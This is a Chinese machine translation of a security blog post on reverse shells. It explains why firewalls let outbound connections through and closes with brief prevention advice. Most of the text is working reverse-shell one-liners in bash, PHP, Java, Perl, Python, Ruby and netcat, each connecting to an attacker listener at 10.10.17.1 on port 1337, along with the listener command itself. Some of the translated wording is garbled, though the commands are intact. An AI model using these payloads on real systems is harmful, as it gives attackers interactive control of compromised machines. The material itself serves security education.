为了获得对受威胁系统的控制,攻击者通常旨在获得交互式Shell访问以执行任意命令。通过这种访问,他们可以尝试提升特权以获得对操作系统的完全控制。但是,大多数系统都位于防火墙之后,无法进行直接的远程外壳连接。规避此限制的方法之一是反向外壳。

反向外壳如何工作

在典型的远程系统访问方案中,用户是客户端,目标计算机是服务器。用户启动远程外壳连接,并且目标系统侦听此类连接。对于反向外壳,角色是相反的。目标计算机将启动与用户的连接,而用户的计算机将侦听指定端口上的传入连接。

攻击者经常使用反向Shell的主要原因是大多数防火墙的配置方式。受攻击的服务器通常只允许特定端口上的连接。例如,专用的Web服务器将仅接受端口80和443上的连接。这意味着无法在被攻击的服务器上建立外壳侦听器。

另一方面,防火墙通常根本不限制传出连接。因此,攻击者可能在自己的计算机上建立服务器并创建反向连接。攻击者所需要的只是一台具有公用(可路由)IP地址的计算机和诸如netcat之类的工具来创建侦听器并将外壳程序访问绑定到该侦听器。

反壳示例

使用不同的工具和语言创建反向外壳非常简单。首先,您需要使用公共IP的本地计算机上的侦听器。例如,在Linux计算机上,您需要的是以下netcat命令:

ncat -l -p 1337

这将在TCP端口1337上建立侦听器。假设用户的计算机的IP地址为10.10.17.1。在受感染的目标计算机上执行的以下一类代码与攻击者的计算机建立了反向Shell连接:

Bash反壳

最简单的方法是使用几乎所有Linux机器上都可用的bash。这已在Ubuntu 18.04上进行了测试,但并非所有bash版本都支持此功能:

/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1

PHP反向外壳

如果目标计算机是Web服务器,并且使用PHP,则该语言是反向Shell的绝佳选择:

php -r '$sock=fsockopen("10.10.17.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

如果这不起作用,您可以尝试更换&3具有连续的文件描述符。 PHP的另一种选择是 下载并执行由pentestmonkey开发的更复杂的脚本.

Java反向外壳

如果目标计算机使用Java,请尝试以下操作:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.17.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) 

p.waitFor()

Perl反向外壳

Perl是Web服务器上反向Shell的另一个很好的候选者:

perl -e 'use Socket;$i="10.10.17.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python反向外壳

Python通常在生产系统上使用,因此它也可以作为反向shell的选项:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

红宝石反向壳

尽管Ruby不如其他语言常见,但它也使得创建反向shell成为可能:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.17.1","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';

要么

ruby -rsocket -e'f=TCPSocket.open("10.0.17.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat反向外壳

Netcat在生产服务器上很少可用,但是如果其他所有方法都失败,则攻击者可以尝试以下操作:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

更多反向壳

有关反向外壳有效载荷的令人印象深刻的列表,您可以参考 反向壳备忘单 maintained by Swissky on GitHub.

预防

通常,反向外壳本身不是恶意的,也可以用于合法目的,例如,用于远程服务器管理。如果您不需要使用反向外壳,可以尝试限制创建它们的可能性,但这非常困难:

  • 您可以对传出连接进行严格控制。但是,这仅适用于非常专业的服务器。而且没有什么可以阻止攻击者在公用端口(例如80)上打开侦听器。在这种情况下,还必须监视所有连接的内容。
  • 您可以禁用大多数使创建反向外壳程序成为可能的工具,但是同样,这仅适用于非常专业的服务器。如您在上面看到的,可以使用不同的工具和语言来创建反向外壳。因此,您可能会使攻击者更加困难,但并非没有可能。

即使您成功避免了反向shell,攻击者也可以使用其他方法来建立对系统的控制。例如,在某些情况下,他们可能会使用 网络外壳 instead.

单独使用反向炮弹始终是其他某种攻击的结果,例如, SQL注入攻击。因此,避免反向炮弹的最佳方法是保护免受冒名顶替者首先获得炮弹访问权的攻击。

资源: //www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/